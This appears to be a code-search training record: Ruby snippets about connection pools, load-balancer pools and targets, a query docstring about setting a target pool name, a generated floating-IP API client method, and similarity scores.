"def create_pool pool_name, monitor_name=nil\n monitor_name ||= 'http'\n\n response = put(\"http://#{@host}/loadbalancers/tenant/#{@tenant}/pools/#{pool_name}\",\n {\n :pool => {\n :name => pool_name,\n :method => 'RoundRobin',\n :port => '80',\n :enabled => 'true',\n :monitors => [monitor_name]\n }\n }.to_json)\n raise LBModelException.new \"Expected HTTP 202 but got #{response.code} instead\" unless response.code == 202\n\n parse_jobids response\n end",
"def set_orb_thread_pool(domain, thread_pool_id)\n set(domain, 'configs.config.server-config.iiop-service.orb.use-thread-pool-ids', thread_pool_id)\n end",
"def pool_options(options); end",
"def set_pooling\n @pooling = Pooling.find(params[:id])\n end",
"def set_snapshot_pool(storage_pool)\n assure_uri(storage_pool)\n set('snapshotPoolUri', storage_pool['uri'])\n end",
"def set_target_info(name, tpg)\n @lun_table.set_target_info(name, tpg)\n end",
"def set_resource_pool_master\n @resource_pool_master = ResourcePoolMaster.find(params[:id])\n end",
"def pool_config(pool_name)\n # Get the configuration of a specific pool\n @config[:pools].each do |pool|\n return pool if pool['name'] == pool_name\n end\n\n nil\n end",
"def get_target(name)\n t = Param.get(:targets)\n (t && t.kind_of?(Hash)) ? t[name.to_s.to_sym] : nil\n end",
"def target_object_name\n return @target_object_name\n end",
"def new_pool(tag)\n pool_id = Nvmkv.kv_pool_create(@kv_id, tag)\n NVMKVPool.new(@kv_id, pool_id)\n end",
"def get_pool_names\n JSON.parse(get(\"http://#{@host}/loadbalancers/tenant/#{@tenant}/pools\"))['tenantpools']['pools']\n end",
"def target=(value)\n @target = value\n end",
"def create_macpool_pool_with_http_info(macpool_pool, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MacpoolApi.create_macpool_pool ...'\n end\n # verify the required parameter 'macpool_pool' is set\n if @api_client.config.client_side_validation && macpool_pool.nil?\n fail ArgumentError, \"Missing the required parameter 'macpool_pool' when calling MacpoolApi.create_macpool_pool\"\n end\n # resource path\n local_var_path = '/api/v1/macpool/Pools'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(macpool_pool)\n\n # return_type\n return_type = opts[:debug_return_type] || 'MacpoolPool'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"MacpoolApi.create_macpool_pool\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MacpoolApi#create_macpool_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def current_pool_size(pool_name)\n pool(pool_name).count\n end",
"def target_class_name\n options[:class_name] || name.to_s.classify\n end",
"def get_linked_swimming_pool( name_method = :get_verbose_name )\n object.get_swimming_pool ? object.get_swimming_pool.decorate.get_linked_name( name_method ) : '?'\n end",
"def get_linked_swimming_pool( name_method = :get_verbose_name )\n object.get_swimming_pool ? object.get_swimming_pool.decorate.get_linked_name( name_method ) : '?'\n end",
"def get_pool_type\n pool_type ? pool_type.i18n_short : '?'\n end",
"def target_symbol(*args)\n if args.blank?\n (const_defined?(:TargetSymbol) ? const_get(:TargetSymbol) : (@target_symbol || target_model.name.underscore)).to_sym\n else\n self.target_symbol = args.first\n end\n end",
"def taskname(name)\n case Merb.orm\n when :datamapper : \"dm:db:fixtures:#{name}\"\n when :sequel : \"sequel:db:fixtures:#{name}\"\n when :activerecord : \"db:fixtures:#{name}\"\n end\nend",
"def pool\n @pool ||= Pool.new(SequenceServer.config[:num_threads])\n end",
"def pool(pool_name)\n matched_servers = []\n do_client.droplets.all.each do |server|\n matched_servers << server if server.name.include?(pool_name)\n end\n return matched_servers\n end",
"def target_name\n self.class.target_name\n end",
"def assignedTarget _args\n \"assignedTarget _args;\" \n end",
"def pool_selection\n if current_property.single_pool?\n pool = current_property.pools.first\n redirect_to grid_inventories_path(:pool_id => pool.id)\n end\n end",
"def target(name, &block)\n t = TargetDef.new(name)\n @targets.push(t)\n\n block.call(t)\n end",
"def topo_bag_name(name=nil)\n @topo_bag_name = name if (name)\n @topo_bag_name ||= \"topologies\"\n end",
"def set_snapshot_pool(storage_pool)\n storage_pool.retrieve! unless storage_pool['uri']\n @data['snapshotPoolUri'] = storage_pool['uri']\n end",
"def pool\n @pool.dup\n end",
"def createTargetCollection(name)\n path = PATH_ADD_TC\n payload = { :name => name }\n return sendRequest('POST', path, payload)\n end",
"def createTargetCollection(name)\n path = PATH_ADD_TC\n payload = { :name => name }\n return sendRequest('POST', path, payload)\n end",
"def target(name)\n Target.load_from(self.targets_path.join(name,'target.rake')).tap do |target|\n target.application = self\n end\n end",
"def set_name(uuid, new_name)\n execute_prlctl('set', uuid, '--name', new_name)\n end",
"def replica_set_name\n @replica_set_name ||= options[REPLICA_SET_NAME]\n end",
"def name\n @name ||= options[:name] || service_url\n end",
"def name\n @name ||= options[:name] || service_url\n end",
"def name\n @name ||= options[:name] || service_url\n end",
"def setName(n)\n @name = n\n end",
"def get_pool_names(corpus = false)\n pool_name_array = []\n self.pools.each do |pool_name, pool|\n\tunless corpus == false && pool_name == '__Corpus__'\n\t pool_name_array.push(pool_name)\n\tend\n end\n return pool_name_array\n end",
"def delete_pool(pool)\n handle_action_exceptions(__method__) do\n cmd_line = [\"deletepool '#{pool}'\"]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def target(name)\n target = targets.find { |target| target.name == name }\n abort \"The target named #{name} not found.\" if target.nil?\n return target\n end",
"def set_active_target(name)\n\n # Empty out current active target\n @active_target = nil\n\n # Go through each pair\n @targets.each_pair do |target_name, target|\n # If you find a matching item\n if name == target_name\n # Check if there is already a default\n if @active_target == nil\n # Set active\n target.active = true\n # Make it default\n @active_target = target\n end\n else # name != name\n # make not active\n target.active = false\n end\n end\n\n if @active_target != nil\n # Save to yaml\n dump_settings\n # Notify the user\n puts \"Active target changed\"\n @active_target.print\n else\n AbuseTheForce.pute \"Target with alias #{name} was not found.\"\n end\n\n end",
"def set_name(name, source: :custom)\n @name = name\n @source = SOURCES.include?(source) ? source.to_sym : :custom\n end",
"def set_master_db_dnsname\n the_name = get_tester_ip_addr\n @deployment.set_input(\"MASTER_DB_DNSNAME\", the_name) \n @deployment.set_input(\"DB_HOST_NAME\", the_name) \n end"
] | [
"0.7474914",
"0.710743",
"0.695675",
"0.67571664",
"0.67051613",
"0.6602692",
"0.6428393",
"0.63330424",
"0.6281564",
"0.6222057",
"0.6222057",
"0.6222057",
"0.6218384",
"0.61269975",
"0.6126857",
"0.608822",
"0.6060427",
"0.6015072",
"0.60082954",
"0.59410733",
"0.5931343",
"0.57995754",
"0.5779524",
"0.5772072",
"0.57366335",
"0.573479",
"0.5582661",
"0.55511427",
"0.5522926",
"0.5516226",
"0.55151904",
"0.55145824",
"0.5509578",
"0.55064946",
"0.5501595",
"0.54400855",
"0.543081",
"0.5423735",
"0.5420923",
"0.5418484",
"0.541298",
"0.54057604",
"0.539374",
"0.5380396",
"0.5359883",
"0.5341802",
"0.53406334",
"0.5334471",
"0.5321445",
"0.5315629",
"0.53114694",
"0.53061604",
"0.5304281",
"0.5304281",
"0.5299982",
"0.5279979",
"0.526866",
"0.5267256",
"0.52665025",
"0.5261268",
"0.5255108",
"0.52499956",
"0.5249816",
"0.5231402",
"0.522983",
"0.5226713",
"0.522648",
"0.52235335",
"0.52090544",
"0.5206967",
"0.5193386",
"0.5193126",
"0.51717925",
"0.51717925",
"0.5165462",
"0.51654524",
"0.5164488",
"0.5158795",
"0.51571494",
"0.5154129",
"0.5145356",
"0.5142319",
"0.5133306",
"0.5127641",
"0.511526",
"0.5110695",
"0.5084647",
"0.5084647",
"0.5079448",
"0.50793254",
"0.5075997",
"0.5065235",
"0.5065235",
"0.5065235",
"0.5061906",
"0.50610334",
"0.50580865",
"0.50474",
"0.5034992",
"0.5031632",
"0.50073075"
] | 0.0 | -1 |
Specify the target pool name. | def get_floating_ip_list_post_with_http_info(get_floating_ip_list_param, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: NetworkApi.get_floating_ip_list_post ..."
end
# verify the required parameter 'get_floating_ip_list_param' is set
if @api_client.config.client_side_validation && get_floating_ip_list_param.nil?
fail ArgumentError, "Missing the required parameter 'get_floating_ip_list_param' when calling NetworkApi.get_floating_ip_list_post"
end
# resource path
local_var_path = "/getFloatingIPList"
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json'])
# form parameters
form_params = {}
# http body (model)
post_body = @api_client.object_to_http_body(get_floating_ip_list_param)
auth_names = ['basicAuth']
data, status_code, headers = @api_client.call_api(:POST, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'Array<FloatingIP_V2_2>')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: NetworkApi#get_floating_ip_list_post\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def default_pool_name\n super\n end",
"def pool_name()\n #This is a stub, used for indexing\n end",
"def set_default_pool_name(opts)\n opts = check_params(opts,[:default_pools])\n super(opts)\n end",
"def ssdb_attr_pool(pool_name)\n @ssdb_attr_pool_name = pool_name\n end",
"def name\n 'pooler'\n end",
"def pool=(pool)\n @vserver_hash.properties.basic.pool=pool\n end",
"def target_name(target_name = nil)\n @target_name = target_name unless target_name.nil?\n \n return 'default' if @target_name.nil?\n @target_name\n end",
"def connection_pool_name # :nodoc:\n replica = current_replica_name\n if replica\n \"#{name}_#{replica}\"\n elsif self == ActiveRecord::Base\n name\n else\n superclass.connection_pool_name\n end\n end",
"def default_pool=(pool)\n # Ensure the pool is valid.\n begin\n IPAddr.new pool\n rescue ArgumentError\n raise InvalidSettingErrror,\n :setting_name => 'default_pool',\n :value => pool.inspect\n end\n\n @default_pool = pool\n end",
"def set_pool\n @pool = Pool.find(params[:id])\n end",
"def set_pool\n @pool = Pool.find(params[:id])\n end",
"def set_pool\n @pool = Pool.find(params[:id])\n end",
"def target_name=(new_value)\n @target_name = new_value unless const_defined?(:TargetName)\n end",
"def pool_params\n params.require(:pool).permit(:name)\n end",
"def pool_params\n params.require(:pool).permit(:name)\n end",
"def target_object_name=(value)\n @target_object_name = value\n end",
"def for_target(target)\n @target_name = target[:target_name].to_s\n return self\n end",
"def scale_to(pool_name, target_num_servers)\n current_server_count = current_pool_size(pool_name)\n if target_num_servers > current_server_count\n remove_servers(pool(pool_name)[target_num_servers..-1])\n else\n add_additional_servers(pool_name, target_num_servers - current_server_count)\n end\n end",
"def pool\n @pool=@vserver_hash.properties.basic.pool\n end",
"def name\n \"##{target}\"\n end",
"def pool( pool, message )\n post('/pool', :body => { :pool => pool, :message => message } )\n end",
"def target_name(*args)\n if args.blank?\n (const_defined?(:TargetName) ? const_get(:TargetName) : (@target_name || target_model.name.underscore.titleize)).to_s\n else\n self.target_name = args.first\n end\n end",
"def pool=(new_value)\n @pool = new_value\n @pool << self if @pool\n end",
"def create_pool(pool)\n handle_action_exceptions(__method__) do\n cmd_line = [\"createpool '#{pool}'\"]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def pool_params\n params.require(:pool).permit(:id, :name)\n end",
"def set_target_pools request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n uri, body, query_string_params = transcode_set_target_pools_request request_pb\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n params: query_string_params,\n options: options\n )\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n result\n end",
"def pool\n @pool\n end",
"def target_name\n decode_string_member(:target_name)\n end",
"def target_name\n target_node.name\n end",
"def setTargetName(text)\n @targetNameEntry.enterText(text) if not text.nil?\n # press TAB on keyboard to set the target name\n type(waitForObject(@targetNameEntry.symbolicName), \"<Tab>\")\n return self\n end",
"def resource_pool(name)\n @manifest[\"resource_pools\"].find { |res| res[\"name\"] == name }\n end",
"def pool_size=(pool_size)\n @pool.pool_size = pool_size\n end",
"def target(*args)\n if args.blank?\n const_defined?(:Target) ? const_get(:Target) : (@target || name[0..-5].classify.constantize)\n else\n self.target = args.first\n end\n end",
"def connection_pool_id( *args )\n definition = args.first.is_a?( ShardDefinition ) ? args.shift : nil\n\n schema_name = definition.nil? ? args.shift : definition.schema\n shard_name = definition.nil? ? args.shift : definition.name\n\n PoolKey.new( schema_name, shard_name )\n end",
"def pool(session)\n read_task('rvpe.host.pool', session) do\n call_one_xmlrpc('one.hostpool.info', session)\n end\n end",
"def provided_pools\n @config[:pools].select { |pool| pool['dns_config'] == name }.map { |pool| pool['name'] }\n end",
"def name\n name = \"Cess Pool\"\n end",
"def task_name\n @default_options.fetch(:name, nil)\n end",
"def pool \n @pool\n end",
"def current_database_name\n ActiveRecord::Base.connection_pool.spec.config[:name] || 'default'\n end",
"def set_storage_pool(storage_pool)\n assure_uri(storage_pool)\n self['provisioningParameters'] ||= {}\n self['provisioningParameters']['storagePoolUri'] = storage_pool['uri']\n end",
"def target_def; target.name; end",
"def set_node_name!(n)\n n[:name] ||= \"#{n[:host]}:#{n[:port]}\"\n n\n end",
"def set_thread_name(name); end",
"def pool(pool_id)\n NVMKVPool.new(@kv_id, pool_id)\n end",
"def set_pool\n @pool = Pool.find(params[:id])\n authorize @pool\n end",
"def vms_in_pool(_pool_name)\n raise(\"#{self.class.name} does not implement vms_in_pool\")\n end",
"def set_storage_pool(storage_pool)\n assure_uri(storage_pool)\n @data['properties'] ||= {}\n @data['properties']['storagePool'] = storage_pool['uri']\n end",
"def target\n base.image_for(\"#{name}_target\")\n end",
"def setTaskName(taskName)\r\n\t\t\t\t\t@taskName = taskName\r\n\t\t\t\tend",
"def enterTargetInformation(name)\n setTargetName(name) if not name.nil?\n return self\n end",
"def set_job_name(*); end",
"def get_pool_names\n (JSON.parse(get(url: \"https://#{@host}/mgmt/tm/ltm/pool\"))['items'] || []).map {|item| item['name']}\n end",
"def get_pool_names\n (JSON.parse(get(url: \"https://#{@host}/mgmt/tm/ltm/pool\"))['items'] || []).map {|item| item['name']}\n end",
"def target=(target)\n @target = target\n end",
"def delete_pool pool_name\n response = RestClient.delete(\"http://#{@host}/loadbalancers/tenant/#{@tenant}/pools/#{pool_name}\",\n :content_type => :json,\n :accept => :json,\n :'X-Auth-Token' => @keystone_token)\n raise LBModelException.new \"Expected HTTP 202 but got #{response.code} instead\" unless response.code == 202\n\n parse_jobids response\n end",
"def create_pool pool_name, monitor_name=nil\n monitor_name ||= 'http'\n\n response = put(\"http://#{@host}/loadbalancers/tenant/#{@tenant}/pools/#{pool_name}\",\n {\n :pool => {\n :name => pool_name,\n :method => 'RoundRobin',\n :port => '80',\n :enabled => 'true',\n :monitors => [monitor_name]\n }\n }.to_json)\n raise LBModelException.new \"Expected HTTP 202 but got #{response.code} instead\" unless response.code == 202\n\n parse_jobids response\n end",
"def set_orb_thread_pool(domain, thread_pool_id)\n set(domain, 'configs.config.server-config.iiop-service.orb.use-thread-pool-ids', thread_pool_id)\n end",
"def pool_options(options); end",
"def set_pooling\n @pooling = Pooling.find(params[:id])\n end",
"def set_snapshot_pool(storage_pool)\n assure_uri(storage_pool)\n set('snapshotPoolUri', storage_pool['uri'])\n end",
"def set_target_info(name, tpg)\n @lun_table.set_target_info(name, tpg)\n end",
"def set_resource_pool_master\n @resource_pool_master = ResourcePoolMaster.find(params[:id])\n end",
"def pool_config(pool_name)\n # Get the configuration of a specific pool\n @config[:pools].each do |pool|\n return pool if pool['name'] == pool_name\n end\n\n nil\n end",
"def get_target(name)\n t = Param.get(:targets)\n (t && t.kind_of?(Hash)) ? t[name.to_s.to_sym] : nil\n end",
"def new_pool(tag)\n pool_id = Nvmkv.kv_pool_create(@kv_id, tag)\n NVMKVPool.new(@kv_id, pool_id)\n end",
"def target_object_name\n return @target_object_name\n end",
"def get_pool_names\n JSON.parse(get(\"http://#{@host}/loadbalancers/tenant/#{@tenant}/pools\"))['tenantpools']['pools']\n end",
"def target=(value)\n @target = value\n end",
"def create_macpool_pool_with_http_info(macpool_pool, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MacpoolApi.create_macpool_pool ...'\n end\n # verify the required parameter 'macpool_pool' is set\n if @api_client.config.client_side_validation && macpool_pool.nil?\n fail ArgumentError, \"Missing the required parameter 'macpool_pool' when calling MacpoolApi.create_macpool_pool\"\n end\n # resource path\n local_var_path = '/api/v1/macpool/Pools'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(macpool_pool)\n\n # return_type\n return_type = opts[:debug_return_type] || 'MacpoolPool'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"MacpoolApi.create_macpool_pool\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MacpoolApi#create_macpool_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def current_pool_size(pool_name)\n pool(pool_name).count\n end",
"def target_class_name\n options[:class_name] || name.to_s.classify\n end",
"def get_linked_swimming_pool( name_method = :get_verbose_name )\n object.get_swimming_pool ? object.get_swimming_pool.decorate.get_linked_name( name_method ) : '?'\n end",
"def get_linked_swimming_pool( name_method = :get_verbose_name )\n object.get_swimming_pool ? object.get_swimming_pool.decorate.get_linked_name( name_method ) : '?'\n end",
"def get_pool_type\n pool_type ? pool_type.i18n_short : '?'\n end",
"def target_symbol(*args)\n if args.blank?\n (const_defined?(:TargetSymbol) ? const_get(:TargetSymbol) : (@target_symbol || target_model.name.underscore)).to_sym\n else\n self.target_symbol = args.first\n end\n end",
"def taskname(name)\n case Merb.orm\n when :datamapper : \"dm:db:fixtures:#{name}\"\n when :sequel : \"sequel:db:fixtures:#{name}\"\n when :activerecord : \"db:fixtures:#{name}\"\n end\nend",
"def pool\n @pool ||= Pool.new(SequenceServer.config[:num_threads])\n end",
"def pool(pool_name)\n matched_servers = []\n do_client.droplets.all.each do |server|\n matched_servers << server if server.name.include?(pool_name)\n end\n return matched_servers\n end",
"def target_name\n self.class.target_name\n end",
"def assignedTarget _args\n \"assignedTarget _args;\" \n end",
"def pool_selection\n if current_property.single_pool?\n pool = current_property.pools.first\n redirect_to grid_inventories_path(:pool_id => pool.id)\n end\n end",
"def target(name, &block)\n t = TargetDef.new(name)\n @targets.push(t)\n\n block.call(t)\n end",
"def topo_bag_name(name=nil)\n @topo_bag_name = name if (name)\n @topo_bag_name ||= \"topologies\"\n end",
"def set_snapshot_pool(storage_pool)\n storage_pool.retrieve! unless storage_pool['uri']\n @data['snapshotPoolUri'] = storage_pool['uri']\n end",
"def pool\n @pool.dup\n end",
"def createTargetCollection(name)\n path = PATH_ADD_TC\n payload = { :name => name }\n return sendRequest('POST', path, payload)\n end",
"def createTargetCollection(name)\n path = PATH_ADD_TC\n payload = { :name => name }\n return sendRequest('POST', path, payload)\n end",
"def target(name)\n Target.load_from(self.targets_path.join(name,'target.rake')).tap do |target|\n target.application = self\n end\n end",
"def set_name(uuid, new_name)\n execute_prlctl('set', uuid, '--name', new_name)\n end",
"def replica_set_name\n @replica_set_name ||= options[REPLICA_SET_NAME]\n end",
"def name\n @name ||= options[:name] || service_url\n end",
"def name\n @name ||= options[:name] || service_url\n end",
"def name\n @name ||= options[:name] || service_url\n end",
"def get_pool_names(corpus = false)\n pool_name_array = []\n self.pools.each do |pool_name, pool|\n\tunless corpus == false && pool_name == '__Corpus__'\n\t pool_name_array.push(pool_name)\n\tend\n end\n return pool_name_array\n end",
"def setName(n)\n @name = n\n end",
"def delete_pool(pool)\n handle_action_exceptions(__method__) do\n cmd_line = [\"deletepool '#{pool}'\"]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def target(name)\n target = targets.find { |target| target.name == name }\n abort \"The target named #{name} not found.\" if target.nil?\n return target\n end",
"def set_active_target(name)\n\n # Empty out current active target\n @active_target = nil\n\n # Go through each pair\n @targets.each_pair do |target_name, target|\n # If you find a matching item\n if name == target_name\n # Check if there is already a default\n if @active_target == nil\n # Set active\n target.active = true\n # Make it default\n @active_target = target\n end\n else # name != name\n # make not active\n target.active = false\n end\n end\n\n if @active_target != nil\n # Save to yaml\n dump_settings\n # Notify the user\n puts \"Active target changed\"\n @active_target.print\n else\n AbuseTheForce.pute \"Target with alias #{name} was not found.\"\n end\n\n end",
"def set_name(name, source: :custom)\n @name = name\n @source = SOURCES.include?(source) ? source.to_sym : :custom\n end",
"def set_master_db_dnsname\n the_name = get_tester_ip_addr\n @deployment.set_input(\"MASTER_DB_DNSNAME\", the_name) \n @deployment.set_input(\"DB_HOST_NAME\", the_name) \n end"
] | [
"0.7475218",
"0.71075815",
"0.69569796",
"0.67587066",
"0.6705719",
"0.6604256",
"0.6427816",
"0.6331779",
"0.62833005",
"0.62248945",
"0.62248945",
"0.62248945",
"0.62179357",
"0.6127898",
"0.6127753",
"0.6088075",
"0.60620564",
"0.6016896",
"0.60104614",
"0.59410554",
"0.5932916",
"0.57991856",
"0.5781179",
"0.5774315",
"0.5737801",
"0.5736694",
"0.55852014",
"0.55509704",
"0.55225545",
"0.5516857",
"0.5516611",
"0.55164516",
"0.55116385",
"0.55076617",
"0.55038744",
"0.5440917",
"0.5430065",
"0.5422195",
"0.5420934",
"0.542088",
"0.5414965",
"0.5407157",
"0.5392621",
"0.53795755",
"0.5361993",
"0.5344634",
"0.5343406",
"0.5336332",
"0.5323747",
"0.53147024",
"0.53136015",
"0.53052866",
"0.5304115",
"0.5304115",
"0.5302698",
"0.5281071",
"0.526957",
"0.5269388",
"0.52688354",
"0.52636063",
"0.5257295",
"0.5252125",
"0.5252063",
"0.52331114",
"0.5230683",
"0.5228552",
"0.5227254",
"0.5223692",
"0.5211394",
"0.5207926",
"0.51946545",
"0.51936865",
"0.517198",
"0.517198",
"0.5166197",
"0.5165677",
"0.5164565",
"0.51609284",
"0.5158926",
"0.5154764",
"0.5147588",
"0.5144182",
"0.5135131",
"0.51259094",
"0.51176476",
"0.51128787",
"0.50865936",
"0.50865936",
"0.5081221",
"0.50785446",
"0.50752014",
"0.5063853",
"0.5063853",
"0.5063853",
"0.50613797",
"0.50609106",
"0.5059915",
"0.5049145",
"0.50371444",
"0.50315386",
"0.50073254"
] | 0.0 | -1 |
Constants Callbacks Scopes Other Methods the project creator | def creator
User.find_by_id(creator_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def project; end",
"def projects ; end",
"def project\n end",
"def new_project_unit\n end",
"def global; end",
"def set_project\n\n end",
"def set_project\n\n end",
"def create_project(name, type)\nend",
"def project=(_arg0); end",
"def callbacks; end",
"def callbacks; end",
"def init_project(*args)\n # anything to do?\n end",
"def global\n raise NotImplementedError\n end",
"def common\n \n end",
"def functions\n\n end",
"def developer\n end",
"def constants() end",
"def project_filename; end",
"def how_it_works\r\n end",
"def project \n organizing_city.current_project\n end",
"def project_hook(project)\n # STUB\n end",
"def before_all(project_id = false)\n # set locale\n I18n.default_locale = :en\n \n @projects = Project::get_all(settings.full_projects_path)\n\n @bc = []\n \n if project_id\n @project = Project.new(File.join(settings.full_projects_path, project_id))\n @bc << { name: @project.id, link: named_route(:projects_show, project_id: @project.id) }\n end\n \n @preview_url = URI::HTTP.build(:host => settings.preview[\"domain\"], :port => settings.preview[\"port\"], :protocol => settings.preview[\"protocol\"])\n\n # for frontend\n @current_project = session[:sssio_project]\n @current_project_environment = session[:sssio_project_environment]\n \n if @current_project_environment == \"development\"\n @current_project_environment_class = \"orange\"\n elsif @current_project_environment == \"production\"\n @current_project_environment_class = \"green\"\n elsif @current_project_environment != \"\"\n @current_project_environment_class = \"blue\"\n end\n\n if self.respond_to? 'before'\n self.before()\n end\n\n end",
"def external; end",
"def constants\n end",
"def run_actions; end",
"def main\n\n end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def global_variables() end",
"def setup\n # Create a standard project (30 days)\n @Project1 = Project.new(Date.new(2000, 1, 1), Date.new(2000, 1, 10))\n # Create a standard calendar (30 days, 1 hour per day)\n @Calendar1 = {}\n 10.times do |iIdx|\n @Calendar1[Date.new(2000, 1, iIdx+1)] = 1\n end\n # Create standard resources\n @Resource1 = Resource.new('R1', @Calendar1)\n end",
"def define\n end",
"def define\n end",
"def project_root=(_arg0); end",
"def who_we_are\r\n end",
"def main_window ; end",
"def apis; end",
"def workflow\n end",
"def define; end",
"def globals; end",
"def globals; end",
"def master; end",
"def methods() end",
"def main\n end",
"def get_global_variables\n @project = Project.where(:id => params[:project_id])\n if @project.present?\n @project = @project.first\n @steps = @project.steps.order(\"position\")\n @numSteps = @steps.count\n @ancestry = @steps.pluck(:ancestry) # array of ancestry ids for all steps\n @allBranches # variable for storing the tree structure of the process map\n @users = @project.users # user who created the project\n @authorLoggedIn = user_signed_in? && @users.map(&:username).include?(current_user.username)\n else\n # redirect to error page - project no longer exists\n render :file => \"errors/404.html\", :status => 404\n end\n end",
"def defs; end",
"def defs; end",
"def organization; end",
"def organization; end",
"def organization; end",
"def main\n @workspace.main\n end",
"def internal; end",
"def build_project_lists\n # call the application controller connect funtion\n conn = basecamp_connect\n unless conn \n raise \"url or authkey not set\"\n end\n projects = Basecamp::Project.find_by_status(conn, 'active')\n @project_list = projects.collect{|p| [p.name, p.id] }.sort_by{|name, id| name }\n @mantis_list = MantisProjectTable.order(\"name\").all.collect{|p| [ p.name, p.id ] }\n end",
"def question3 # Return the constant you defined above\n\n end",
"def create(project_name, repo_name, description) ; end",
"def before_run; end",
"def top_level_scope_arduino_code\n []\n end",
"def after_generate_callbacks; end",
"def initialize_project(project_desc)\n project_name = extract_project(project_desc)\n repo_name = extract_repository(project_desc)\n repo_path = File.expand_path(repo_name, $project_dir)\n repo = initialize_repo(project_desc, repo_path)\n if project_desc[:library]\n Project::Library.new(\n repository: repo,\n sub_project: (project_name == repo_name) ? nil : project_name,\n auto_reset: $options[:auto_reset],\n mvn_flags: project_desc[:mvn_flags],\n pull_branches: $pull_branches,\n rebase_branches: $rebase_branches,\n local_branches: $local_branches,\n basis_branch: project_desc[:basis_branch] || $global_basis_branch,\n always_build: project_desc[:always_build]\n )\n else\n Project::Service.new(\n repository: repo,\n sub_project: (project_name == repo_name) ? nil : project_name,\n archive: project_desc[:archive],\n service: project_desc[:wlp],\n restart: project_desc[:restart],\n auto_reset: $options[:auto_reset],\n mvn_flags: project_desc[:mvn_flags],\n pull_branches: $pull_branches,\n rebase_branches: $rebase_branches,\n local_branches: $local_branches,\n basis_branch: project_desc[:basis_branch] || $global_basis_branch\n )\n end\nend",
"def initialize(project)\n @project = project\n end",
"def create\n @project = Project.new(params[:project])\n<<<<<<< HEAD:app/controllers/projects_controller.rb\n handle_disciplines_projects\n=======\n>>>>>>> 336471e6be257cf55c9afa2a65f928fde34e41fe:app/controllers/projects_controller.rb\n\n respond_to do |format|\n if @project.save\n flash[:notice] = 'Project was successfully created.'\n format.html { redirect_to(@project) }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def callback\n end",
"def git_project()\n \"\"\nend",
"def global_scope; @scope = :global end",
"def api; end",
"def api; end",
"def callback\n\n end",
"def settings; end",
"def settings; end",
"def runner; end",
"def notify\n MU.structToHash(MU::Cloud::Google.resource_manager(credentials: @config['credentials']).get_project(@cloud_id))\n end",
"def notify\n MU.structToHash(MU::Cloud::Google.resource_manager(credentials: @config['credentials']).get_project(@cloud_id))\n end",
